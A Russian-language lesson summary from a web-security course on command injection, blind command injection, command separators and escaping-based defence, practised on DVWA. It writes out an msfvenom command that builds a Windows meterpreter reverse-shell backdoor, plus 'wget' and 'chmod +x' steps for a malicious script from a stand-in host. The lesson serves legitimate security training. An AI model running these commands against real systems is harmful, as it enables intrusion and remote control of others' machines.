Саммари урока 10. Command Injection & Backdoors

Что мы узнали?

На этом уроке мы углубились в тему безопасности веб-приложений, изучив уязвимость Command Injection и способы её эксплуатации. Мы разобрали как классический Command Injection, так и Blind Command Injection, когда результат выполнения команды не виден напрямую. Кроме того, мы познакомились с инструментом MsfVenom для генерации бэкдоров.

Command Injection: - уязвимость, позволяющая злоумышленнику внедрять произвольные команды в системные вызовы.

Blind Command Injection - более сложный тип атаки, при котором мы не видим прямой вывод выполненных команд, но можем определить их результат косвенными методами (например, по времени выполнения, или по изменению элементов на странице).

Защита от Command Injection. Ключевой момент защиты от Command Injection - экранирование пользовательского ввода (обработка на стороне сервера) и использование безопасных функций для выполнения системных команд.

Разделители (сепараторы) команд:

На Linux	На Windows	Результат
command1 **&&** command2	command1 **&&** command2	command2 выполняется, если command1 выполнилась успешно
command1 **||** command2	command1 **||** command2	command2 выполняется, если command1 не выполнилась
command1 **;** command2	command1 **&** command2	Обе команды будут выполнены последовательно

Команды:

- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f exe -o payload.exe: создает бэкдор для Windows, который подключается к вашему IP-адресу на указанном порту. -p указывает тип payload, LHOST - ваш IP, LPORT - порт (например, 4444), -f - формат вывода (exe), -o - имя выходного файла.
  Пример: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o my_backdoor.exe

- ping <hostname>: Проверяет доступность хоста. Полезно для Blind Command Injection.
  Пример: ping google.com
- whoami: Показывает текущего пользователя.
  Пример: whoami
- wget <url>: Скачивает файл по указанному URL.
  Пример: wget http://example.com/malicious.sh
- chmod +x <filename>: Дает права на выполнение файлу.
  Пример: chmod +x malicious.sh
- Экранирование символов (escaping): Использование \ перед специальными символами, такими как кавычки " или ' , позволяет интерпретировать их буквально, а не как часть синтаксиса команды.
  Пример: echo "Hello, \"username\"!" выведет Hello, "username"!, а не будет пытаться интерпретировать username как переменную.

Что мы делали на уроке?

- Повторили основные команды CLI (Command Line Interface).
- Разбирали примеры Command Injection на DVWA.
- Учились проводить атаки Blind Command Injection.
- Генерировали бэкдоры с помощью msfvenom.
- Обсуждали методы защиты от Command Injection.